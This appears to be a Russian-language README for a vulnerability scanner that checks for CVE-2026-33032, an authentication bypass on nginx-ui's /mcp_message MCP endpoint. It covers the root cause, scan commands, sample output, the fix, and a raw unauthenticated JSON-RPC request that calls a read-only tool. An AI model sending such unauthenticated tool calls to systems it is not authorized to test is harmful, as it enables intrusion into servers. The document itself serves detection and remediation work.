
Неразрушающий сканер уязвимостей для обхода аутентификации конечной точки MCP в Nginx-UI (CVE-2026-33032)
Нераэрушающий сканер уязвимостей для обхода аутентификации MCP-эндпоинта Nginx-UI
CVE-2026-33032 — это уязвимость обхода аутентификации в интеграции Model Context Protocol (MCP) в nginx-ui. Эндпоинт /mcp_message не имеет промежуточного ПО аутентификации, предоставляя при этом доступ ко всем MCP-инструментам, что позволяет удалённым злоумышленникам:
Асимметрия аутентификации: Эндпоинт /mcp требует аутентификацию, а /mcp_message — нет:
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), ...)
r.Any("/mcp_message", middleware.IPWhiteList(), ...) // Отсутствует AuthRequired()
Белый список IP с режимом fail-open: Белый список IP по умолчанию пуст, и промежуточное ПО трактует это как «разрешить всем»
Оба эндпоинта используют общий обработчик: Оба маршрутизируются к одному mcp.ServeHTTP(), который обрабатывает все вызовы MCP-инструментов
✅ Нераэрушающее тестирование — используются только MCP-инструменты с доступом на чтение
✅ Комплексная идентификация — определяет установки nginx-ui
✅ Безопасное доказательство концепции — никаких изменений конфигурации
✅ Пакетное сканирование — обработка нескольких целей из файла
✅ Подробные отчёты — вывод в формате JSON для интеграции
# Клонируйте или скачайте сканер
git clone https://github.com/Twinson333/cve-2026-33032-scanner.git
cd cve-2026-33032
chmod +x cve-2026-33032-scanner.py
# Установите зависимости (при необходимости)
pip3 install requests
# Сканирование одной цели
python3 cve-2026-33032-scanner.py -u http://target.com:9000
# Сканирование с подробным выводом
python3 cve-2026-33032-scanner.py -u https://nginx-ui.example.com -v
# Пользовательский таймаут
python3 cve-2026-33032-scanner.py -u http://192.168.1.100:9000 -t 15
# Сканирование нескольких целей из файла
python3 cve-2026-33032-scanner.py -f targets.txt
# С подробным выводом и JSON-отчётом
python3 cve-2026-33032-scanner.py -f targets.txt -v -o results.json
#Burp Pingback
python3 cve-2026-33032-scanner.py -u http://target.com:9000 --collaborator abc123.burpcollaborator.net
# targets.txt — по одному URL на строку
http://192.168.1.100:9000
https://nginx-ui.corp.com
http://10.0.0.50:9000
Сканер выполняет многоэтапный процесс обнаружения:
Проверяет типичные эндпоинты nginx-ui для определения установки:
/api/info — информация о версии/login — страница входа/api/auth/login — эндпоинт аутентификации/mcp и /mcp_message — MCP-эндпоинтыТестирует эндпоинт /mcp, чтобы убедиться, что он корректно требует аутентификацию (базовый уровень)
Выполняет нераэрушающие вызовы MCP-инструментов через /mcp_message БЕЗ аутентификации:
Если любой инструмент выполняется без аутентификации, уязвимость подтверждена.
Сканер вызывает только MCP-инструменты с доступом на чтение:
| Инструмент | Описание | Воздействие |
|---|---|---|
nginx_status | Чтение статуса службы nginx | Без изменений |
nginx_config_list | Вывод списка файлов конфигурации | Без изменений |
nginx_config_base_path | Получение пути к каталогу конфигурации | Без изменений |
Инструменты, явно исключённые:
nginx_config_add — создал бы файлыnginx_config_modify — изменил бы конфигурацииrestart_nginx / reload_nginx — нарушение работы службыnginx_config_enable — изменил бы активные конфигурации[+] nginx-ui обнаружен: Найдено 'nginx-ui' в /login
[+] Эндпоинт /mcp корректно защищён
[*] Тестирование эндпоинта /mcp_message (CVE-2026-33032)...
[*] Попытка инструмента: nginx_status — чтение статуса nginx (самый безопасный)
Статус: 200
======================================================================
[!] УЯЗВИМ к CVE-2026-33032
======================================================================
Доказательство: Успешно выполнен nginx_status без аутентификации
[+] nginx-ui обнаружен: Эндпоинт версии доступен
[+] Эндпоинт /mcp корректно защищён
[*] Тестирование эндпоинта /mcp_message (CVE-2026-33032)...
[*] Попытка инструмента: nginx_status — чтение статуса nginx (самый безопасный)
Статус: 401
Требуется аутентификация (защищено) ✓
[+] НЕ уязвим — эндпоинт требует аутентификацию
Если уязвимость подтверждена:
Немедленное исправление: Добавьте промежуточное ПО аутентификации к /mcp_message:
r.Any("/mcp_message", middleware.IPWhiteList(), middleware.AuthRequired(),
func(c *gin.Context) {
mcp.ServeHTTP(c)
})
Эшелонированная защита:
Обновление: Обновитесь до исправленной версии nginx-ui, когда она станет доступна
Этот инструмент предназначен для:
НЕ используйте этот инструмент на системах, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.
При сообщении об этой уязвимости:
Критичность: Критическая (CVSS 9.8+)
Доказательство: Включите вывод сканера, показывающий успешный вызов MCP-инструмента без аутентификации
Цепочка воздействия:
Безопасное PoC: Используйте только инструменты с доступом на чтение (nginx_status, nginx_config_list)
POST /mcp_message HTTP/1.1
Content-Type: application/json
{
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": "nginx_status",
"arguments": {}
},
"id": 1
}
{
"jsonrpc": "2.0",
"result": {
"content": [
{
"type": "text",
"text": "nginx is running (PID: 1234)"
}
]
},
"id": 1
}
HTTP/1.1 401 Unauthorized
{
"error": "authentication required"
}
Этот инструмент предоставляется только для образовательных целей и авторизованного тестирования безопасности.
Antony Esthak Twinson @ Cyber Tamarin
Исследователь безопасности | Охотник за Bug Bounty
Специализация: безопасность веб-приложений и исследование уязвимостей
Отказ от ответственности: Этот сканер выполняет только неразрушающее тестирование. Всегда получайте надлежащее разрешение перед тестированием любых систем.